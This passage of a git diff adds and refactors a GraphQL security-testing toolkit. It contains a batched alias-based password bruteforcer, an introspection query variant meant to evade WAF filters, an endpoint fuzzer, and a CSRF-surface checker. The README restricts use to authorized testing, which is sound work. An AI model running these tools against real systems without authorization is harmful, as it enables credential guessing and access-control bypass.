{args.endpoint}") + print(f"[*] Operation: {args.operation} {{ {args.field}({wrapper_note}) }}") + print(f"[*] Username: {args.username}") + print(f"[*] Wordlist: {total} passwords") + print(f"[*] Batch size: {batch_size} aliases/request → {num_batches} request(s)") + print(f"[*] Success on: non-null '{args.success_field}'") + print() + + for batch_num in range(num_batches): + offset = batch_num * batch_size + batch_passwords = passwords[offset:offset + batch_size] + + query = build_alias_payload( + args.field, args.arg_user, args.arg_pass, + args.username, batch_passwords, + success_fields, args.operation, args.input_wrapper, + ) + + if args.verbose: + print(f"--- Payload (batch {batch_num + 1}/{num_batches}) ---") + print(query) + print("---") + + print( + f"[*] Batch {batch_num + 1}/{num_batches} " + f"(#{offset + 1}–#{offset + len(batch_passwords)})...", + end="", flush=True, + ) + + resp = send_batch(args.endpoint, headers, query, timeout=args.timeout) + if resp is None: + print(f" {RED}FAILED{RESET}") + continue + + print(f" HTTP {resp.status_code}", end="") + + try: + data = resp.json() + except ValueError: + print(" (non-JSON response)") + continue + + alias_idx, matched_pw, matched_val = find_success( + data, offset, passwords, args.success_field + ) + + if matched_pw is not None: + print() + print(f"\n{GREEN}[+] SUCCESS{RESET} — alias bruteforce{alias_idx}") + print(f" Password: {YELLOW}{matched_pw}{RESET}") + print(f" {args.success_field}: {matched_val}") + return + + errors = (data.get("errors") or []) if isinstance(data, dict) else [] + if errors and isinstance(errors[0], dict): + first_msg = errors[0].get("message", "")[:80] + print(f" — {first_msg}") + else: + print(" (no hit)") + + print(f"\n{RED}[-] No valid credentials found across {total} attempt(s).{RESET}") + + +if __name__ == "__main__": + main() diff --git a/core/__init__.py b/core/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/http.py b/core/http.py new file mode 100644 index 0000000..5c32629 --- /dev/null +++ b/core/http.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +"""Shared HTTP helpers: header parsing and cookie file loading.""" + +import json +import os +import re +import sys +from typing import Dict, List, Optional + + +def parse_header_args(headers_list: List[str]) -> Dict[str, str]: + """Parse a list of 'Name: Value' strings (from argparse action=append) into a dict. + + Last value wins on duplicates. + """ + hdrs: Dict[str, str] = {} + for h in headers_list or []: + if ":" not in h: + print(f"[!] Ignoring malformed header (expected 'Name: Value'): {h!r}", + file=sys.stderr) + continue + name, value = h.split(":", 1) + hdrs[name.strip()] = value.strip() + return hdrs + + +def parse_headers_input(h) -> Dict[str, str]: + """Parse headers from several formats accepted by sqli_detector. + + Handles: + - None / empty string → {} + - JSON object string → {"Authorization": "Bearer x", ...} + - JSON array of dicts → [{...}, ...] + - Semicolon/comma-separated 'Name: Value' pairs + """ + if not h: + return {} + if isinstance(h, list): + return parse_header_args(h) + if isinstance(h, str): + try: + parsed = json.loads(h) + if isinstance(parsed, dict): + return parsed + if isinstance(parsed, list): + result: Dict[str, str] = {} + for item in parsed: + if isinstance(item, dict): + result.update(item) + return result + except (ValueError, TypeError): + pass + result = {} + for part in re.split(r"[;,]", h): + part = part.strip() + if not part: + continue + if ":" in part: + k, v = part.split(":", 1) + result[k.strip()] = v.strip() + return result + return {} + + +def load_cookie_file(path: str) -> Optional[str]: + """Read a one-line cookie file. Returns the cookie string or None.""" + if not os.path.isfile(path): + print(f"[!] Cookie file not found: {path}", file=sys.stderr) + return None + with open(path, "r", encoding="utf-8") as f: + value = f.read().strip() + return value or None + + +def build_headers(headers_list: Optional[List[str]] = None, + cookie_file: Optional[str] = None) -> Dict[str, str]: + """Build an HTTP headers dict. + + Always includes Content-Type: application/json. Merges -H style args and + an optional cookie file. An explicit Cookie header via -H takes precedence + over the cookie file. + """ + hdrs: Dict[str, str] = {"Content-Type": "application/json"} + if headers_list: + hdrs.update(parse_header_args(headers_list)) + if cookie_file and "Cookie" not in hdrs: + cookie = load_cookie_file(cookie_file) + if cookie: + hdrs["Cookie"] = cookie + return hdrs diff --git a/core/introspection.py b/core/introspection.py new file mode 100644 index 0000000..075c1da --- /dev/null +++ b/core/introspection.py @@ -0,0 +1,143 @@ +#!/usr/bin/env python3 +"""Shared introspection helpers: fetch, bypass, load, save, and schema extraction.""" + +import json +import sys +from typing import Any, Dict, Optional, Tuple + +try: + import requests +except ImportError: + requests = None # type: ignore + +# Rich introspection query (includes inputFields for input object expansion and enumValues). +INTROSPECTION_QUERY = """ +query IntrospectionQuery { + __schema { + queryType { name } + mutationType { name } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + type { kind name ofType { kind name ofType { kind name } } } + } + type { kind name ofType { kind name } } + } + inputFields { + name + description + defaultValue + type { kind name ofType { kind name ofType { kind name } } } + } + enumValues { + name + } + } + } +} +""" + +# Bypass variant: newline between __schema and { evades naive regex filters. +# Most WAFs block the literal string "__schema{" but ignore whitespace between them. +INTROSPECTION_BYPASS_QUERY = INTROSPECTION_QUERY.replace(" __schema {", " __schema\n{", 1) + + +def _is_valid_introspection(data: Any) -> bool: + if not isinstance(data, dict): + return False + if isinstance(data.get("data"), dict) and "__schema" in data["data"]: + return True + if "__schema" in data: + return True + return False + + +def fetch_introspection(url: str, headers: Dict[str, str], + timeout: int = 15) -> Optional[Dict[str, Any]]: + """POST the standard introspection query to url. + + Returns the parsed response dict on success, or None on failure. + """ + if requests is None: + print("[!] 'requests' library required. Install with: pip install requests", + file=sys.stderr) + return None + try: + resp = requests.post(url, headers=headers, + json={"query": INTROSPECTION_QUERY}, timeout=timeout) + data = resp.json() + except requests.exceptions.RequestException as e: + print(f"[!] Connection error during introspection: {e}", file=sys.stderr) + return None + except ValueError as e: + print(f"[!] Response is not valid JSON: {e}", file=sys.stderr) + return None + return data if _is_valid_introspection(data) else None + + +def fetch_with_bypass(url: str, headers: Dict[str, str], + timeout: int = 15) -> Tuple[Optional[Dict[str, Any]], Optional[str]]: + """Try normal introspection, then the newline-bypass variant if the first fails. + + Returns (data, strategy) where strategy is 'normal', 'bypass', or None. + The bypass works because GraphQL ignores whitespace but many regex filters + match the literal string '__schema{' without accounting for newlines. + """ + result = fetch_introspection(url, headers, timeout) + if result is not None: + return result, "normal" + + if requests is None: + return None, None + + try: + resp = requests.post(url, headers=headers, + json={"query": INTROSPECTION_BYPASS_QUERY}, timeout=timeout) + data = resp.json() + if _is_valid_introspection(data): + return data, "bypass" + except Exception: + pass + + return None, None + + +def load_from_file(path: str) -> Optional[Dict[str, Any]]: + """Load introspection JSON from a file. Returns dict or None on error.""" + try: + with open(path, "r", encoding="utf-8") as f: + return json.load(f) + except json.JSONDecodeError as e: + print(f"[!] {path!r} is not valid JSON: {e}", file=sys.stderr) + return None + except OSError as e: + print(f"[!] Cannot read {path!r}: {e}", file=sys.stderr) + return None + + +def save_to_file(data: Dict[str, Any], path: str = "introspection_schema.json") -> None: + """Serialize introspection data to a JSON file.""" + try: + with open(path, "w", encoding="utf-8") as f: + json.dump(data, f, indent=2, ensure_ascii=False) + print(f"[+] Introspection saved to: {path}") + except OSError as e: + print(f"[!] Failed to save introspection to {path!r}: {e}", file=sys.stderr) + + +def extract_schema(data: Dict[str, Any]) -> Optional[Dict[str, Any]]: + """Extract the __schema dict from either response shape. + + Handles both: + {"data": {"__schema": ...}} — standard GraphQL introspection response + {"__schema": ...} — some servers omit the data wrapper + """ + if not isinstance(data, dict): + return None + if isinstance(data.get("data"), dict): + return data["data"].get("__schema") + return data.get("__schema") diff --git a/core/output.py b/core/output.py new file mode 100644 index 0000000..f44cd87 --- /dev/null +++ b/core/output.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +"""Shared colour utilities. + +Exports Fore/Style (colorama or dummy) for sqli_detector, and ANSI constants +for qgen/effuzz which don't depend on colorama. +""" +try: + from colorama import init as _colorama_init, Fore, Style + _colorama_init(autoreset=True) +except ImportError: + class _Dummy: + def __getattr__(self, name): + return "" + Fore = Style = _Dummy() + +# Plain ANSI constants used by qgen and effuzz +RED = "\033[31m" +GREEN = "\033[32m" +YELLOW = "\033[33m" +BLUE = "\033[34m" +CYAN = "\033[36m" +MAGENTA = "\033[35m" +GREY = "\033[90m" +BOLD = "\033[1m" +RESET = "\033[0m" diff --git a/effuzz/README.md b/effuzz/README.md deleted file mode 100644 index 16dc965..0000000 --- a/effuzz/README.md +++ /dev/null @@ -1,135 +0,0 @@ -```markdown -# Endpoint Fuzzer (effuzz) - -This script helps you detect which GraphQL methods you may be able to call (or have permissions for) by enumerating Query/Mutation names from an introspection schema and performing lightweight checks. - -```shell -███████╗███████╗███████╗██╗ ██╗███████╗███████╗ -██╔════╝██╔════╝██╔════╝██║ ██║╚══███╔╝╚══███╔╝ -█████╗ █████╗ █████╗ ██║ ██║ ███╔╝ ███╔╝ -██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ███╔╝ ███╔╝ -███████╗██║ ██║ ╚██████╔╝███████╗███████╗ -╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ -``` - -## Overview - -effuzz enumerates available fields from a GraphQL schema and issues minimal GraphQL requests for each method to learn how the server responds. It is useful to quickly spot methods that accept requests (status 200/400) versus those that deny access (401/403) or cause other errors. - -Two modes: -- Explicit introspection: supply a previously saved introspection JSON with `--introspection`. -- Automatic introspection: omit `--introspection` and provide `--url`; effuzz will attempt to fetch the schema from the endpoint (requires the `requests` library). By default the fetched introspection is saved to `introspection_schema.json` (toggle with `--no-save-introspection`). - -Note: Use these tools only on targets you are authorized to test. - -## Requirements - -- Python 3.7+ -- requests (only required for automatic introspection / HTTP requests): - pip install requests - -## Usage - -Important: either provide a local introspection JSON or let effuzz fetch it automatically from the target with `--url`. - -- Using a saved introspection file (explicit mode): - -```shell -python3 effuzz/effuzz.py --introspection /path/to/introspection_schema.json --url https://example.com/graphql -``` - -- Automatic introspection (effuzz fetches the schema from the endpoint): - -```shell -python3 effuzz/effuzz.py --url https://example.com/graphql \ - -H "Authorization: Bearer TOKEN" \ - --cookie /path/to/cookie.txt -``` - -- With variables file and cookie: - -```shell -python3 effuzz/effuzz.py --introspection /path/to/introspection_schema.json \ - --url https://example.com/graphql \ - --cookie /path/to/cookie.txt \ - --variables /path/to/variables.json -``` - -- Enable debug to inspect request and response bodies: - -```shell -python3 effuzz/effuzz.py --introspection introspection_schema.json --url https://example.com/graphql --debug -``` - -- Match specific response status codes (show only these): - -```shell -python3 effuzz/effuzz.py --introspection introspection_schema.json --url https://example.com/graphql --match-code 200,403 -``` - -- Filter out specific status codes (hide these): - -```shell -python3 effuzz/effuzz.py --introspection introspection_schema.json --url https://example.com/graphql --filter-code 401,404 -``` - -## Important options - -```text ---introspection Path to the introspection JSON file (optional if --url is used) ---url GraphQL endpoint URL (required for automatic introspection) --H, --header Add HTTP header(s) for requests; repeatable. Format: "Name: Value" --s, --silent Hide responses that return 401 ---cookie File containing cookie value (one line); ignored if Cookie provided via -H ---variables JSON file with variables to include in requests ---debug Print full request and response bodies (helps troubleshooting) ---match-code, -mc Show only responses with these status codes (comma separated) ---filter-code, -fc Hide responses that match these status codes (comma separated) ---save-introspection Save automatic introspection to introspection_schema.json (default) ---no-save-introspection Do not save automatic introspection to disk -``` - -## Example output - -A short sample run (values and counts are illustrative): - -```text -$ python3 effuzz/effuzz.py --introspection introspection_schema.json --url http://94.237.63.174:57732/graphql - -[✓] Introspection loaded (120 queries, 8 mutations) ------------------------------------------------------------- -getAllTests [Status: 401] [Size: 32] [Words: 5] [Lines: 1] -getAllUsers [Status: 400] [Size: 261] [Words: 25] [Lines: 1] # malformed query -> server accepted request -getAllConfigs [Status: 200] [Size: 48] [Words: 15] [Lines: 1] # likely accessible -findUserByEmail [Status: 200] [Size: 512] [Words: 80] [Lines: 3] # returns data ------------------------------------------------------------- -(Use --debug to dump full responses) -``` - -Notes on interpreting results: -- 401 / 403: usually indicates authentication/authorization required. -- 400: GraphQL servers commonly return 400 for syntactically invalid or semantically wrong queries – this can still mean the method exists and the server processed the request. -- 200: successful request; check response body for `data` or `errors` to decide further steps. - -## Troubleshooting - -- Automatic introspection fails: - - Ensure `--url` points to the GraphQL endpoint. - - Provide proper auth headers with `-H "Authorization: Bearer ..."` or use `--cookie`. - - Check that the server accepts the introspection query (some servers disable it). - - If the endpoint returns non-JSON or a wrapper format, effuzz may not detect `__schema`. - -- Requests fail with network errors: - - Try increasing timeout in the code or check network connectivity/proxy settings. - -- Too many fields / huge schema: - - Consider filtering or generating smaller payloads when using the `--variables` option or modifying the request loop. - -## Security & ethics - -Only run effuzz on systems you are authorized to test. These tools are intended for legitimate security testing and research. - -## Further reading / next steps - -- Use qGen to generate full queries for interesting methods discovered by effuzz. -- Use the sqli helper to target string arguments found in introspection for simple SQLi checks. diff --git a/effuzz/__init__.py b/effuzz/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/effuzz/effuzz.py b/effuzz/effuzz.py index ccf5de1..ea7ab89 100644 --- a/effuzz/effuzz.py +++ b/effuzz/effuzz.py @@ -1,366 +1,439 @@ #!/usr/bin/env python3 """ -effuzz.py - GraphQL endpoint fuzzer - -Comportamiento principal: -- Si se pasa --introspection /ruta/to/file.json, carga ese JSON (valida). -- Si no se pasa --introspection, realiza automáticamente la consulta de introspección - al endpoint definido por --url usando las cabeceras (-H/--header) y --cookie si se proporcionan. - Por defecto guarda la introspección en introspection_schema.json (puedes desactivar con --no-save-introspection). -- Extrae queries y mutations del esquema y realiza una comprobación básica tipo ffuf (envía peticiones y muestra status/size/words/lines). -- Mantiene opciones: --variables (JSON), --debug, --match-code, --filter-code, -s/--silent. +effuzz.py — GraphQL endpoint fuzzer. + +Enumerates every query and mutation from the schema and sends a minimal request +for each, reporting HTTP status/size/words/lines (ffuf-style output). + +Extra modes: + --discover Probe common GraphQL paths and confirm with {__typename} + --check-methods Test GET and form-urlencoded support (CSRF surface assessment) """ +import json import os import sys -import json import argparse import textwrap -from typing import Dict, Any, List, Optional +from datetime import datetime, timezone +from typing import Any, Dict, List, Optional, Tuple +from urllib.parse import urlparse, urlunparse, urlencode + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -# Intentar importar requests, indicar al usuario si falta try: import requests -except Exception: - requests = None +except ImportError: + print("[!] 'requests' library required. Install with: pip install requests", + file=sys.stderr) + sys.exit(1) + +import core.introspection as core_intro +from core.http import build_headers +from core.output import RED, GREEN, YELLOW, BLUE, RESET + +# Ordered by likelihood of being a valid GraphQL endpoint +GRAPHQL_DISCOVERY_PATHS = [ + "/graphql", + "/api/graphql", + "/graphiql", + "/graphql/console", + "/api", + "/graphql/api", + "/graphql/graphql", + "/graphql.php", +] -# ANSI colors -RED = "\033[31m" -GREEN = "\033[32m" -YELLOW = "\033[33m" -BLUE = "\033[34m" -RESET = "\033[0m" def print_banner(): print(textwrap.dedent(f""" {YELLOW} ███████╗███████╗███████╗██╗ ██╗███████╗███████╗ ██╔════╝██╔════╝██╔════╝██║ ██║╚══███╔╝╚══███╔╝ - █████╗ █████╗ █████╗ ██║ ██║ ███╔╝ ███╔╝ - ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ███╔╝ ███╔╝ + █████╗ █████╗ █████╗ ██║ ██║ ███╔╝ ███╔╝ + ██╔══╝ ██╔══╝ ██╔══╝ ██║ ██║ ███╔╝ ███╔╝ ███████╗██║ ██║ ╚██████╔╝███████╗███████╗ - ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ - {RESET} - """)) - -# Introspection query (suficientemente completa) -INTROSPECTION_QUERY = """ -query IntrospectionQuery { - __schema { - queryType { name } - mutationType { name } - types { - kind - name - fields(includeDeprecated: true) { - name - args { - name - type { kind name ofType { kind name ofType { kind name } } } - } - type { kind name ofType { kind name } } - } - } - } -} -""" - -def parse_header_list(headers_list: List[str]) -> Dict[str, str]: - """ - Convierte una lista de 'Name: Value' a dict. Última gana en duplicados. - """ - hdrs: Dict[str, str] = {} - for h in headers_list or []: - if ":" not in h: - print(f"⚠️ Ignorando cabecera malformada (esperado 'Name: Value'): {h}") - continue - name, value = h.split(":", 1) - hdrs[name.strip()] = value.strip() - return hdrs + ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ v1.1 + {RESET}""")) -def perform_introspection_request(url: str, headers: Dict[str, str], timeout: int = 15) -> Optional[Dict[str, Any]]: - """ - Realiza la petición POST con la consulta de introspección. - Devuelve dict JSON si es válida, o None en fallo. - """ - if requests is None: - print("❌ La librería 'requests' es necesaria para obtener introspección automáticamente. Instálala con: pip install requests") - return None - try: - resp = requests.post(url, headers=headers, json={"query": INTROSPECTION_QUERY}, timeout=timeout) - except requests.exceptions.RequestException as e: - print(f"❌ Error HTTP al solicitar introspección: {e}") - return None - - try: - data = resp.json() - except Exception as e: - print(f"❌ La respuesta no es JSON válido: {e}") - return None - - if (isinstance(data, dict) and - ((data.get("data") and isinstance(data["data"], dict) and "__schema" in data["data"]) or ("__schema" in data))): - return data - - print("❌ La respuesta de introspección no contiene '__schema' (no es una introspección GraphQL válida).") - return None - -def save_introspection_file(data: Dict[str, Any], path: str = "introspection_schema.json") -> None: - try: - with open(path, "w", encoding="utf-8") as fh: - json.dump(data, fh, indent=2, ensure_ascii=False) - print(f"✅ Introspection guardada en: {path}") - except Exception as e: - print(f"⚠️ Falló al guardar introspección en {path}: {e}") -def load_introspection_from_path(path: str) -> Optional[Dict[str, Any]]: - try: - with open(path, "r", encoding="utf-8") as f: - data = json.load(f) - return data - except json.JSONDecodeError: - print(f"❌ El archivo de introspección no es JSON válido: {path}") - return None - except Exception as e: - print(f"❌ Error leyendo {path}: {e}") - return None - -def response_stats(resp: requests.Response) -> (int, int, int): +def response_stats(resp: requests.Response) -> Tuple[int, int, int]: text = resp.text or "" - size = len(text) - words = len(text.split()) - lines = text.count("\n") + 1 - return size, words, lines + return len(text), len(text.split()), text.count("\n") + 1 + def color_status(code: int, resp: requests.Response) -> str: - """ - Devuelve código coloreado acorde al tipo de respuesta. - Heurística ligera que intenta imitar comportamiento original. - """ if code == 200: try: - data = resp.json() - if "errors" not in data: + if "errors" not in resp.json(): return f"{GREEN}{code}{RESET}" except Exception: pass return f"{YELLOW}{code}{RESET}" - if code in (401, 403) or "Method forbidden" in resp.text: return f"{RED}{code}{RESET}" - if code in (400, 500): return f"{YELLOW}{code}{RESET}" - return str(code) -def build_minimal_query_for_method(method_name: str) -> str: - """ - Construye una query simple para testear el método. - Intentamos la forma: query { methodName } - Si requiere args o selección, el endpoint responderá con error (400) y eso se reportará. - """ - return f"query {{ {method_name} }}" -def perform_request(url: str, headers: Dict[str, str], payload: Dict[str, Any], timeout: int = 15) -> Optional[requests.Response]: - if requests is None: - print("❌ La librería 'requests' es necesaria para ejecutar effuzz. Instálala con: pip install requests") - return None +def build_minimal_query(method_name: str, is_mutation: bool = False) -> str: + """Build the simplest possible query for a field to gauge accessibility.""" + op = "mutation" if is_mutation else "query" + return f"{op} {{ {method_name} }}" + + +def perform_request(url: str, headers: Dict[str, str], payload: Dict[str, Any], + timeout: int = 15) -> Optional[requests.Response]: try: - resp = requests.post(url, headers=headers, json=payload, timeout=timeout) - return resp + return requests.post(url, headers=headers, json=payload, timeout=timeout) except requests.exceptions.RequestException as e: - print(f"❌ Error en petición a {url}: {e}") + print(f"[!] Request error for {url}: {e}", file=sys.stderr) return None -def get_fields_from_schema(schema: Dict[str, Any]) -> (List[str], List[str]): - types = schema.get("types", []) if isinstance(schema, dict) else [] - def get_fields(type_name: str): - if not type_name: - return [] - for t in types: - if t.get("name") == type_name: - return [f["name"] for f in t.get("fields", [])] if t.get("fields") else [] - return [] - query_type_name = schema.get("queryType", {}).get("name") - mutation_type_name = schema.get("mutationType", {}).get("name") - queries = get_fields(query_type_name) - mutations = get_fields(mutation_type_name) - return queries, mutations -def main(): - print_banner() +def _get_typename(url: str, headers: Dict[str, str], timeout: int = 10) -> Optional[str]: + """Send {__typename} and return the typename string, or None if not GraphQL.""" + try: + resp = requests.post(url, headers=headers, + json={"query": "query{__typename}"}, timeout=timeout) + data = resp.json() + if isinstance(data, dict): + d = data.get("data") or data + if isinstance(d, dict): + return d.get("__typename") + except Exception: + pass + return None - parser = argparse.ArgumentParser(description="Test GraphQL endpoints using introspection.") - # Now introspection is optional: if omitted we will query the endpoint automatically - parser.add_argument("--introspection", required=False, help="Path to the introspection JSON file") - parser.add_argument("--url", required=True, help="GraphQL endpoint URL") - parser.add_argument("-s", "--silent", action="store_true", - help="Only show endpoints that DO NOT return 401") - - parser.add_argument("--cookie", help="File containing cookie in plain text (one line)") - parser.add_argument("--variables", help="JSON file with variables for the payload") - parser.add_argument("--debug", action="store_true", help="Show full request and response") - parser.add_argument("--match-code", "-mc", - help="Show only responses with matching status codes (e.g., 200,403,500)") - parser.add_argument("--filter-code", "-fc", - help="Hide responses with matching status codes (e.g., 401,404)") - - # Support repeated headers -H "Name: Value" - parser.add_argument("-H", "--header", action="append", default=[], help="Additional HTTP header to include (can be repeated). Format: 'Name: Value'") - - # Control saving of automatic introspection (default: save) - parser.add_argument("--save-introspection", dest="save_introspection", action="store_true", help="Save automatic introspection to introspection_schema.json") - parser.add_argument("--no-save-introspection", dest="save_introspection", action="store_false", help="Do not save automatic introspection to disk") - parser.set_defaults(save_introspection=True) +# --------------------------------------------------------------------------- # +# --discover mode # +# --------------------------------------------------------------------------- # - args = parser.parse_args() +def discover_endpoint(base_url: str, headers: Dict[str, str], + timeout: int = 10) -> Optional[str]: + """Probe standard GraphQL paths and return the first confirmed endpoint URL.""" + parsed = urlparse(base_url) + base = urlunparse((parsed.scheme, parsed.netloc, "", "", "", "")) - GRAPHQL_URL = args.url - INTROSPECTION_FILE = args.introspection + print(f"[*] Discovering GraphQL endpoint under {base}") + print(f"{'Path':<35} {'Status':<8} {'Confirmed'}") + print("-" * 65) - match_codes = None - if args.match_code: - match_codes = set(int(x.strip()) for x in args.match_code.split(",") if x.strip().isdigit()) + confirmed_url = None + for path in GRAPHQL_DISCOVERY_PATHS: + candidate = base + path + try: + resp = requests.post( + candidate, headers=headers, + json={"query": "query{__typename}"}, timeout=timeout, + ) + typename = None + try: + data = resp.json() + if isinstance(data, dict): + d = data.get("data") or data + if isinstance(d, dict): + typename = d.get("__typename") + except Exception: + pass + + if typename: + tag = f"{GREEN}YES — __typename: {typename}{RESET}" + if confirmed_url is None: + confirmed_url = candidate + else: + tag = "no" + print(f"{path:<35} {resp.status_code:<8} {tag}") + except requests.exceptions.ConnectionError: + print(f"{path:<35} {'—':<8} (connection refused)") + except requests.exceptions.Timeout: + print(f"{path:<35} {'timeout':<8}") + except Exception as e: + print(f"{path:<35} {'error':<8} {e}") + + print() + if confirmed_url: + print(f"[+] Using confirmed endpoint: {confirmed_url}\n") + else: + print(f"{RED}[!] No GraphQL endpoint found under {base}{RESET}\n") + return confirmed_url - filter_codes = None - if args.filter_code: - filter_codes = set(int(x.strip()) for x in args.filter_code.split(",") if x.strip().isdigit()) - # Build headers - extra_headers = parse_header_list(args.header) - HEADERS: Dict[str, str] = { - "Content-Type": "application/json" - } +# --------------------------------------------------------------------------- # +# --check-methods mode (CSRF surface) # +# --------------------------------------------------------------------------- # - # Cookie file handling: gives precedence to explicit -H Cookie - if args.cookie: - if not os.path.exists(args.cookie): - print(f"❌ Cookie file not found: {args.cookie}") - sys.exit(1) - with open(args.cookie, "r", encoding="utf-8") as f: - cookie_value = f.read().strip() - if "Cookie" not in extra_headers: - extra_headers["Cookie"] = cookie_value +def check_csrf_surface(url: str, headers: Dict[str, str], timeout: int = 10) -> None: + """Test whether the endpoint accepts GET queries and form-urlencoded POSTs. - HEADERS.update(extra_headers) + Both request types bypass CORS preflight and are exploitable for CSRF if the + endpoint accepts them and relies solely on session cookies for auth. + """ + print("[*] CSRF surface check:") + no_ct_headers = {k: v for k, v in headers.items() if k.lower() != "content-type"} - # Load variables file if provided + # 1. GET with ?query=... + try: + get_url = url + "?" + urlencode({"query": "{__typename}"}) + resp = requests.get(get_url, headers=no_ct_headers, timeout=timeout) + typename = None + try: + data = resp.json() + if isinstance(data, dict): + d = data.get("data") or data + if isinstance(d, dict): + typename = d.get("__typename") + except Exception: + pass + if typename: + status = f"{GREEN}ACCEPTS{RESET} ← CSRF possible if no token validation" + elif resp.status_code == 200: + status = f"{YELLOW}responded{RESET} (no __typename, may be partial)" + else: + status = f"rejected (HTTP {resp.status_code})" + print(f" GET ?query={{...}} {status}") + except Exception as e: + print(f" GET ?query={{...}} error: {e}") + + # 2. POST with application/x-www-form-urlencoded + try: + form_headers = dict(no_ct_headers) + form_headers["Content-Type"] = "application/x-www-form-urlencoded" + body = urlencode({"query": "{__typename}"}) + resp = requests.post(url, headers=form_headers, data=body, timeout=timeout) + typename = None + try: + data = resp.json() + if isinstance(data, dict): + d = data.get("data") or data + if isinstance(d, dict): + typename = d.get("__typename") + except Exception: + pass + if typename: + status = f"{GREEN}ACCEPTS{RESET} ← CSRF possible (no CORS preflight on form POST)" + elif resp.status_code == 200: + status = f"{YELLOW}responded{RESET} (no __typename, may be partial)" + else: + status = f"rejected (HTTP {resp.status_code})" + print(f" POST form-urlencoded {status}") + except Exception as e: + print(f" POST form-urlencoded error: {e}") + + print() + + +# --------------------------------------------------------------------------- # +# Core fuzzing loop # +# --------------------------------------------------------------------------- # + +def fuzz_fields(url: str, headers: Dict[str, str], + fields: List[str], label: str, + variables_value: Dict[str, Any], + is_mutation: bool, + match_codes: Optional[set], + filter_codes: Optional[set], + silent: bool, + debug: bool) -> None: + if not fields: + print(f"[*] No {label} found in schema.") + return + + print(f"\n[*] Fuzzing {label} ({len(fields)}):") + print(f"{'Method':<35} {'Type':<10} Status Size Words Lines") + print("-" * 80) + + for name in fields: + query_str = build_minimal_query(name, is_mutation) + payload: Dict[str, Any] = {"query": query_str} + if variables_value: + payload["variables"] = variables_value + + resp = perform_request(url, headers, payload) + if resp is None: + print(f"{name:<35} {'mutation' if is_mutation else 'query':<10} {RED}request failed{RESET}") + continue + + code = resp.status_code + size, words, lines = response_stats(resp) + colored = color_status(code, resp) + + if match_codes and code not in match_codes: + continue + if filter_codes and code in filter_codes: + continue + if silent and code == 401: + continue + + op_label = "mutation" if is_mutation else "query" + print(f"{name:<35} {op_label:<10} [Status: {colored}] " + f"[Size: {size}] [Words: {words}] [Lines: {lines}]") + + if debug: + try: + print(json.dumps(resp.json(), indent=2, ensure_ascii=False)) + except Exception: + print(resp.text) + + print("-" * 80) + + +# --------------------------------------------------------------------------- # +# main # +# --------------------------------------------------------------------------- # + +def main(): + print_banner() + + parser = argparse.ArgumentParser( + description="GraphQL endpoint fuzzer — enumerates operations and checks accessibility", + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + parser.add_argument("--url", required=True, metavar="URL", + help="GraphQL endpoint URL (or base URL when --discover is used)") + parser.add_argument("--introspection", metavar="FILE", + help="Load schema from file instead of fetching automatically") + parser.add_argument("--discover", action="store_true", + help="Probe common GraphQL paths and confirm with {__typename}") + parser.add_argument("--check-methods", action="store_true", + help="Test GET and form-urlencoded support (CSRF surface)") + parser.add_argument("-s", "--silent", action="store_true", + help="Hide 401 responses") + parser.add_argument("--cookie", metavar="FILE", + help="Cookie file (one line)") + parser.add_argument("--variables", metavar="FILE", + help="JSON file with variables to include in each request") + parser.add_argument("--debug", action="store_true", + help="Print full response body for each request") + parser.add_argument("--match-code", "-mc", metavar="CODES", + help="Show only these status codes, comma-separated (e.g. 200,400)") + parser.add_argument("--filter-code", "-fc", metavar="CODES", + help="Hide these status codes, comma-separated (e.g. 401,404)") + parser.add_argument("-H", "--header", action="append", default=[], + metavar="Name: Value", + help="HTTP header (repeatable)") + parser.add_argument("--save-introspection", dest="save_introspection", + action="store_true", + help="Save fetched schema to introspection_schema.json (default)") + parser.add_argument("--no-save-introspection", dest="save_introspection", + action="store_false", + help="Do not save fetched schema to disk") + parser.set_defaults(save_introspection=True) + args = parser.parse_args() + + # --- Build headers --- + if args.cookie and not os.path.isfile(args.cookie): + print(f"[!] Cookie file not found: {args.cookie!r}", file=sys.stderr) + sys.exit(1) + headers = build_headers(args.header, args.cookie) + + # --- Parse code filters --- + def _parse_codes(raw: Optional[str]) -> Optional[set]: + if not raw: + return None + result = set() + for tok in raw.split(","): + tok = tok.strip() + if not tok.isdigit(): + print(f"[!] Invalid status code in filter: {tok!r}", file=sys.stderr) + sys.exit(1) + result.add(int(tok)) + return result + + match_codes = _parse_codes(args.match_code) + filter_codes = _parse_codes(args.filter_code) + + # --- Load variables --- variables_value: Dict[str, Any] = {} if args.variables: - if not os.path.exists(args.variables): - print(f"❌ Variables file not found: {args.variables}") + if not os.path.isfile(args.variables): + print(f"[!] Variables file not found: {args.variables!r}", file=sys.stderr) sys.exit(1) try: with open(args.variables, "r", encoding="utf-8") as f: variables_value = json.load(f) - except Exception: - print("❌ Variables file is NOT valid JSON.") + except (ValueError, OSError) as e: + print(f"[!] Variables file is not valid JSON: {e}", file=sys.stderr) sys.exit(1) + graphql_url = args.url + + # ------------------------------------------------------------------ # + # --discover: probe paths and update graphql_url # + # ------------------------------------------------------------------ # + if args.discover: + confirmed = discover_endpoint(graphql_url, headers) + if confirmed is None: + sys.exit(1) + graphql_url = confirmed + + # ------------------------------------------------------------------ # + # --check-methods: CSRF surface # + # ------------------------------------------------------------------ # + if args.check_methods: + check_csrf_surface(graphql_url, headers) + + # ------------------------------------------------------------------ # + # Load / fetch introspection # + # ------------------------------------------------------------------ # introspection_data: Optional[Dict[str, Any]] = None - # If user provided a file, load it - if INTROSPECTION_FILE: - if not os.path.exists(INTROSPECTION_FILE): - print(f"❌ File not found: {INTROSPECTION_FILE}") + if args.introspection: + if not os.path.isfile(args.introspection): + print(f"[!] Introspection file not found: {args.introspection!r}", file=sys.stderr) sys.exit(1) - introspection_data = load_introspection_from_path(INTROSPECTION_FILE) + introspection_data = 